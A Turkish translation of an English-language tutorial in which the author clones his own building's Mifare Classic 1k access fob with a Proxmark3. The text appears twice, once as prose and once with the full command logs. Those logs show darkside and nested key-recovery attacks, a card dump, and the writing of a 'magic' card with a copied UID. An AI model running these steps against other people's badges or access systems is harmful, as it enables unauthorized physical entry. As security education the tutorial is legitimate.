Bölüm 2: RFID çilingir
Bu, pratik bir RFID saldırısına ilk bakışımız olacak.
Yaşadığım binada ön kapıyı açan, asansörü çalıştıran, ortak salon ve spor salonuna erişim sağlayan Mifare klasik 1k anahtarlık kullanıyor.
Bu güvensiz olsa da dürüst olalım, burada ciddi olarak yanlış bir şey yok.
Binamdaki birinden bir köstek klonlamayı başarırsanız, gelip spor salonunu kullanmaktan memnuniyet duyarız.
Sadece kendi huzurum için Anahtarlık kösteklerimi NUİD ile soru işaretleriyle değiştireceğim.
Mifare kartlarını daha iyi anlamak istiyorsanız, uygulamamı burada okumanızı öneririm.
Bu öğreticiler için proxmark3'ü kullanacağım, eğer burada bir göz atmanız gereken komutlar ve özellikler hakkında daha fazla bilgi edinmek istiyorsanız.
Aşağıdaki ekran görüntüsü sihirli Mifare 1k kartımı ve Anahtarlık kösteğimi gösterir.
Hedef analizi
Herhangi bir saldırı gibi, herhangi bir varsayım olmadan başlamalı ve hedefimizi analiz etmeliyiz.
Erişim kontrol mekanizmasının nasıl çalıştığına dair herhangi bir ipucu olup olmadığını görmek için anahtarlığımıza bir göz atalım.
Bir sonraki adım, köstek dökümünün erişim kontrollerinin nasıl uygulandığına dair herhangi bir bilgiyi gösterip göstermediğini görmektir.
Dumpdata'ya bakmak için bir onaltılık düzenleyici kullanmanız gerekecektir.dumpdata.bin
Şahsen 010 editörünü tercih ederim, ancak birçok alternatif var.
Hızlı bir bakıştan sonra, Anahtarlık köstek hala varsayılan üretim durumunda gibi görünüyor.
Sadece block0 (yazma korumalı) NUID ve üretici verilerini içerir, diğer 15 sektör tamamen boştur.
Ayrıca, tüm A & B sektör anahtarları varsayılan 0xffffffffffff durumunda kalır.
Çöplükten, kesinlikle süslü bir şey olmadığını görüyoruz.
Herhangi bir sonuç çıkarmadan önce, anahtarlık kösteğin tam bir sahtekarlık olup olmadığını kontrol etmek istedim.
Örneğin, tembel bir uygulamanın yalnızca RFID etiketinin Mifare 1k classic olup olmadığını kontrol etmesi ve daha sonra erişim sağlaması mümkün olabilir.
Bu amaçla, sihirli 1k kartımı kösteğin bir kopyasını oluşturmak için kullandım, ancak tamamen farklı bir 1k kartından geçerli bir block0 kopyaladım.
Bu yüzden ortak odanın kapısı 1k kartımı reddetti.
Bu, bir çeşit kimlik doğrulama mekanizması olduğu anlamına gelir.
Block0, üretim zamanında yazma korumalı olduğundan, okuyucuların NUID'Yİ izin verilen NUID'LERİN bir listesiyle ya da büyük bir inkar erişimi ile karşılaştırması muhtemeldir.
Jutsu kopyalama
Daha önce açıklandığı gibi, tüm Mifare kartlarının %99.999'u üretim sırasında kilitli bir block0 (sector0) sistemine sahiptir, bu bir güvenlik önlemi olarak yapılır.
Bu nedenle, birçok Mifare sistemi kullanıcılarını NUID ile tanımlar.
Ne yazık ki (neyse ki bakış açınıza bağlı olarak) bu teknik bir sınırlama değildir ve block0'da kilitli yazma erişimine sahip Mifare kartları satan bir Çinli üretici vardır.
Bu sözde "sihirli" kartlar bile bir adım daha ileri gidiyor ve ilgili sektör anahtarlarıyla kimlik doğrulaması yapmak zorunda kalmadan bireysel bloklara veya sektörlere yazmamıza izin veren protokol düzeyinde arka kapılar uyguluyorlar.
Proxmark ayrıca çeşitli kart türlerini taklit edebilir.
Proxmark, kart içeriğini özel * ' den yükleyebilir.eml dosyaları ve eml dosyası içeriğini kullanarak bu kartları taklit eder.
Çin "sihirli" kartlarının güzel özelliklerinden biri, aynı eml dosyalarını kullanarak tüm kartın üzerine yazabilmenizdir.
Temel olarak, eml dosyaları sadece kart verilerinin onaltılık dökümlerini temizler.
Bunu manuel olarak yapabilirsiniz, ancak burada birkaç yararlı proxmark betiği sıkıştırdım.
Bu komut dosyalarından biri bin'den eml'ye dönüştürülecektir.
İlk olarak, Anahtarlık köstek dökümümüzü bir eml dosyasına dönüştürerek başlayalım.
EML dosyamızı aldıktan sonra, anahtarlığımızın içeriği ile "sihirli" kartımızın üzerine yazmaya devam edebiliriz, aslında mükemmel bir kopya oluştururuz.
Şimdi geriye kalan tek şey, yeni kartımızın beklendiği gibi çalıştığından emin olmak.
Translator: @Qgenays
Source:https://www.fuzzysecurity.com/tutorials/rfid/3.html
Bu, pratik bir RFID saldırısına ilk bakışımız olacak.
Yaşadığım binada ön kapıyı açan, asansörü çalıştıran, ortak salon ve spor salonuna erişim sağlayan Mifare klasik 1k anahtarlık kullanıyor.
Bu güvensiz olsa da dürüst olalım, burada ciddi olarak yanlış bir şey yok.
Binamdaki birinden bir köstek klonlamayı başarırsanız, gelip spor salonunu kullanmaktan memnuniyet duyarız.
Sadece kendi huzurum için Anahtarlık kösteklerimi NUİD ile soru işaretleriyle değiştireceğim.
Mifare kartlarını daha iyi anlamak istiyorsanız, uygulamamı burada okumanızı öneririm.
Bu öğreticiler için proxmark3'ü kullanacağım, eğer burada bir göz atmanız gereken komutlar ve özellikler hakkında daha fazla bilgi edinmek istiyorsanız.
Aşağıdaki ekran görüntüsü sihirli Mifare 1k kartımı ve Anahtarlık kösteğimi gösterir.
Hedef analizi
Herhangi bir saldırı gibi, herhangi bir varsayım olmadan başlamalı ve hedefimizi analiz etmeliyiz.
Erişim kontrol mekanizmasının nasıl çalıştığına dair herhangi bir ipucu olup olmadığını görmek için anahtarlığımıza bir göz atalım.
Kod:
# This is just to quickly show what the proxmark3 is running under the hood. I promise you flashing the
bootrom, OS and FPGA was a PITA but worth it!
proxmark3> hw version
#db# Prox/RFID mark3 RFID instrument
#db# bootrom: svn 756 2013-07-13 08:11:47
#db# os: svn 756 2013-07-13 08:11:52
#db# FPGA image built on 2012/ 1/ 6 at 15:27:56
# We can confirm our suspicions that the fob is in fact a Mifare 1k card. As mentioned in the introduction
I will replace the NUID with question marks throughout this tutorial.
proxmark3> hf 14a read
ATQA : 04 00
UID : ?? ?? ?? ??
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k
proprietary non iso14443a-4 card found, RATS not supported
# Our next step is to extract at least one valid sector key (A or B). The implementation of the darkside
attack in this firmware version of the proxmark only takes about 9 seconds to complete. In this case
the key that was found is one of the default keys but that does not affect the speed of the attack.
proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------
Lost sync in cycle 3. nt_distance=-8. Consecutive Resyncs = 0. Trying one time catch up...
Lost sync in cycle 4. nt_distance=-8. Consecutive Resyncs = 1. Trying one time catch up...
Lost sync in cycle 5. nt_distance=-8. Consecutive Resyncs = 2. Trying one time catch up...
Lost sync in cycle 6 for the fourth time consecutively (nt_distance = -8). Adjusting sync_cycles to 66747.
.........................
uid(????????) nt(4b99fab8) par(dd75753d453d7dc5) ks(0f0d0a07080d0a07)
|diff|{nr} |ks3|ks3^5|parity |
+----+--------+---+-----+---------------+
| 00 |00000000| f | a |1,0,1,1,1,0,1,1|
| 20 |00000020| d | 8 |1,0,1,0,1,1,1,0|
| 40 |00000040| a | f |1,0,1,0,1,1,1,0|
| 60 |00000060| 7 | 2 |1,0,1,1,1,1,0,0|
| 80 |00000080| 8 | d |1,0,1,0,0,0,1,0|
| a0 |000000a0| d | 8 |1,0,1,1,1,1,0,0|
| c0 |000000c0| a | f |1,0,1,1,1,1,1,0|
| e0 |000000e0| 7 | 2 |1,0,1,0,0,0,1,1|
00ff02eb|00ffc075
------------------------------------------------------------------
Key found:ffffffffffff
Found valid key:ffffffffffff
# Once we have at least one valid key we can use that key to run a nested attack on all 16 sectors. In
this case the fact that 0xffffffffffff is one of the default keys speeds the process up considerably
(about 30 seconds). From tests using cards with fully random keys for all 16 sectors it takes the
proxmark approximately 8 minutes to find them all. The results here are written to dumpkeys.bin.
proxmark3> hf mf nested 1 0 A ffffffffffff d
--block no:00 key type:00 key:ff ff ff ff ff ff etrans:0
Block shift=0
Testing known keys. Sector count=16
nested...
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
# As a final step in our initial discovery with the proxmark we will dump the full card contents. This
will require dumpkeys.bin to exist in the parent directory so make sure to include the "d" flag in the
command above. The results will be written to dumpdata.bin.
proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
[...Snip...]
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
Dumpdata'ya bakmak için bir onaltılık düzenleyici kullanmanız gerekecektir.dumpdata.bin
Şahsen 010 editörünü tercih ederim, ancak birçok alternatif var.
Hızlı bir bakıştan sonra, Anahtarlık köstek hala varsayılan üretim durumunda gibi görünüyor.
Sadece block0 (yazma korumalı) NUID ve üretici verilerini içerir, diğer 15 sektör tamamen boştur.
Ayrıca, tüm A & B sektör anahtarları varsayılan 0xffffffffffff durumunda kalır.
Kod:
# Dump of sector0 (NUID replaced by question marks).
0000000: ???? ???? 3988 0400 47b9 9516 4980 4709 ....9...G...I.G.
0000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000030: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
# Dump of sector1; sectors 1-15 all look identical.
0000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000070: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
Herhangi bir sonuç çıkarmadan önce, anahtarlık kösteğin tam bir sahtekarlık olup olmadığını kontrol etmek istedim.
Örneğin, tembel bir uygulamanın yalnızca RFID etiketinin Mifare 1k classic olup olmadığını kontrol etmesi ve daha sonra erişim sağlaması mümkün olabilir.
Bu amaçla, sihirli 1k kartımı kösteğin bir kopyasını oluşturmak için kullandım, ancak tamamen farklı bir 1k kartından geçerli bir block0 kopyaladım.
Bu yüzden ortak odanın kapısı 1k kartımı reddetti.
Bu, bir çeşit kimlik doğrulama mekanizması olduğu anlamına gelir.
Block0, üretim zamanında yazma korumalı olduğundan, okuyucuların NUID'Yİ izin verilen NUID'LERİN bir listesiyle ya da büyük bir inkar erişimi ile karşılaştırması muhtemeldir.
Jutsu kopyalama
Daha önce açıklandığı gibi, tüm Mifare kartlarının %99.999'u üretim sırasında kilitli bir block0 (sector0) sistemine sahiptir, bu bir güvenlik önlemi olarak yapılır.
Bu nedenle, birçok Mifare sistemi kullanıcılarını NUID ile tanımlar.
Ne yazık ki (neyse ki bakış açınıza bağlı olarak) bu teknik bir sınırlama değildir ve block0'da kilitli yazma erişimine sahip Mifare kartları satan bir Çinli üretici vardır.
Bu sözde "sihirli" kartlar bile bir adım daha ileri gidiyor ve ilgili sektör anahtarlarıyla kimlik doğrulaması yapmak zorunda kalmadan bireysel bloklara veya sektörlere yazmamıza izin veren protokol düzeyinde arka kapılar uyguluyorlar.
Kod:
# If we try to identify the card we can see the manufacture data is different than the key-chain fob but
other than that they are pretty much identical. If you take a close look you can already see something
strange is going on as I have set the NUID to "deadbeef".
proxmark3> hf 14a read
ATQA : 04 00
UID : de ad be ef
SAK : 88 [2]
TYPE : Infineon MIFARE CLASSIC 1K
proprietary non iso14443a-4 card found, RATS not supported
# As we can see we can simply dump sector0 without any authentication. Notice the forged NUID of
"deadbeef". In this case I have also fixed the LRC (XOR-based longitudinal redundancy check) checksum
which is 0x22 in this case.
proxmark3> hf mf cgetsc 0
--sector number:00
block 00 data:de ad be ef 22 00 00 00 00 00 00 00 00 00 00 00
block 01 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
block 02 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
block 03 data:ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff
# Just to show that we can manually modify block0 I will replace the last 2 bytes with "1337".
proxmark3> hf mf csetblk 0 deadbeef220000000000000000001337
--block number:00 data:de ad be ef 22 00 00 00 00 00 00 00 00 00 13 37
UID:de ad be ef
proxmark3> hf mf cgetsc 0
--sector number:00
block 00 data:de ad be ef 22 00 00 00 00 00 00 00 00 00 13 37
block 01 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
block 02 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
block 03 data:ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff
Proxmark, kart içeriğini özel * ' den yükleyebilir.eml dosyaları ve eml dosyası içeriğini kullanarak bu kartları taklit eder.
Çin "sihirli" kartlarının güzel özelliklerinden biri, aynı eml dosyalarını kullanarak tüm kartın üzerine yazabilmenizdir.
Temel olarak, eml dosyaları sadece kart verilerinin onaltılık dökümlerini temizler.
Bunu manuel olarak yapabilirsiniz, ancak burada birkaç yararlı proxmark betiği sıkıştırdım.
Bu komut dosyalarından biri bin'den eml'ye dönüştürülecektir.
İlk olarak, Anahtarlık köstek dökümümüzü bir eml dosyasına dönüştürerek başlayalım.
Kod:
root@Trident:~/Desktop# ./pm3_bin2eml.py dumpdata.bin KeyChain-fob.eml
Kod:
# Block0 still contains our forged NUID.
proxmark3> hf mf cgetblk 0
--block number:00
block data:de ad be ef 22 00 00 00 00 00 00 00 00 00 13 37
# We load our eml file onto the card.
proxmark3> hf mf cload KeyChain-fob
Loaded from file: KeyChain-fob.eml
# We now have a perfect copy of our fob. We can test this by dumping block0 (again NUID has been replaced
by question marks).
proxmark3> hf mf cgetblk 0
--block number:00
block data:?? ?? ?? ?? 39 88 04 00 47 b9 95 16 49 80 47 09
Translator: @Qgenays
Source:https://www.fuzzysecurity.com/tutorials/rfid/3.html